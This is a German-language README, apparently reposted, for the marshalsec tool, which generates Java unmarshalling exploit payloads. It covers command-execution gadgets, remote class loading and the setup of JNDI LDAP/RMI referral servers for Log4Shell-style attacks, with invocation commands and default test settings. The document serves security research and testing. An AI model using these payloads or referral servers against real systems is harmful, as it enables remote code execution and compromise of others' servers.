Java Unmarshaller Security - Wie Ihre Daten zu Codeausführung werden

Wenn Sie wegen Log4Shell/CVE-2021-44228 hierhergekommen sind, lesen Sie vielleicht etwas über die Ausnutzungsvektoren und betroffenen Java-Laufzeitversionen: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Paper

Es ist mehr als zwei Jahre her, seit Chris Frohoff und Garbriel Lawrence ihre Forschung zu Schwachstellen bei der Deserialisierung von Java-Objekten vorgestellt haben, die letztlich zu dem führte, was man wohl als die größte Welle von Remote-Code-Execution-Schwachstellen in der Geschichte von Java bezeichnen kann.

Die Forschung zu diesem Thema zeigte, dass diese Schwachstellen nicht auf so ausdrucksstarke Mechanismen wie Java-Serialisierung oder XStream beschränkt sind, sondern einige möglicherweise auch auf andere Mechanismen übertragbar sind.

Dieses Paper präsentiert eine Analyse – einschließlich Details zur Ausnutzung – verschiedener quelloffener Java-Marshalling-Bibliotheken, die das Unmarshalling beliebiger, vom Angreifer bereitgestellter Typen erlauben/erlaubten, und zeigt, dass dieser Prozess unabhängig von seiner Ausführung und den impliziten Einschränkungen ähnlichen Ausnutzungstechniken ausgesetzt ist.

Das vollständige Paper ist unter marshalsec.pdf verfügbar.

Disclaimer

Alle Informationen und der gesamte Code dienen ausschließlich zu Bildungszwecken und/oder zum Testen Ihrer eigenen Systeme auf diese Schwachstellen.

Verwendung

Java 8 erforderlich. Mit Maven bauen: mvn clean package -DskipTests. Aufruf:

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

wobei

• -a - erzeugt/testet alle Payloads für diesen Marshaller
• -t - führt den Testmodus aus und führt nach der Erzeugung ein Unmarshalling der erzeugten Payloads durch.
• -v - ausführlicher Modus, z. B. wird der erzeugte Payload im Testmodus ebenfalls angezeigt.
• gadget_type - Kennung eines bestimmten Gadgets; wenn sie weggelassen wird, werden die verfügbaren Gadgets für diesen speziellen Marshaller angezeigt.
• arguments - Gadget-spezifische Argumente

Payload-Generatoren für die folgenden Marshaller sind enthalten:

Argumente und zusätzliche Voraussetzungen

Ausführung von Systembefehlen

• cmd - auszuführender Befehl
• args... - zusätzliche Parameter, die als Argumente übergeben werden

Keine Voraussetzungen.

Remote-Klassenladen (einfach)

• codebase - URL zur entfernten Codebase
• class - Zu ladende Klasse

Voraussetzungen:

• Richten Sie einen Webserver ein, der unter einem bestimmten Pfad einen Java-Klassenpfad bereitstellt.
• Die zu ladenden, kompilierten Klassendateien müssen gemäß den Java-Klassenpfad-Konventionen bereitgestellt werden.

Remote-Klassenladen (ServiceLoader)

• service_codebase - URL zur entfernten Codebase

Der zu ladende Dienst ist derzeit fest auf javax.script.ScriptEngineFactory verdrahtet.

Voraussetzungen:

• Wie beim einfachen Remote-Klassenladen.
• Zusätzlich wird eine Provider-Konfigurationsdatei unter /META-INF/javax.script.ScriptEngineFactory benötigt, die den Zielklassennamen im Klartext enthält.
• Die dort angegebene Zielklasse muss das Dienst-Interface javax.script.ScriptEngineFactory implementieren.

JNDI-Referenz-Indirektion

• jndiUrl - JNDI-URL, die den Lookup auslösen soll

Voraussetzungen:

• Richten Sie eine Remote-Codebase ein, wie beim Remote-Klassenladen.
• Führen Sie einen JNDI-Referenz-Umleitungsdienst aus, der auf diese Codebase verweist – zwei Implementierungen sind enthalten: marshalsec.jndi.LDAPRefServer und RMIRefServer.
  root@kitploit:~

  java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
  

• Verwenden Sie (ldap|rmi)://host:port/obj als jndiUrl, die auf die Listen-Adresse dieses Dienstes verweist.

Tests ausführen

Es gibt einige Systemeigenschaften, die die Argumente beim Ausführen von Tests steuern (über Maven oder bei Verwendung von -a):

• exploit.codebase, Standard: http://localhost:8080/
• exploit.codebaseClass, Standard: Exploit
• exploit.jndiUrl, Standard: ldap://localhost:1389/obj
• exploit.exec, Standard: /usr/bin/gedit

Die Tests werden mit einem installierten SecurityManager ausgeführt, der sowohl die Ausführung von Systembefehlen als auch Code prüft, der von Remote-Codebasen ausgeführt wird. Damit das funktioniert, muss die verwendete geladene Klasse eine Sicherheitsmanager-Prüfung auslösen.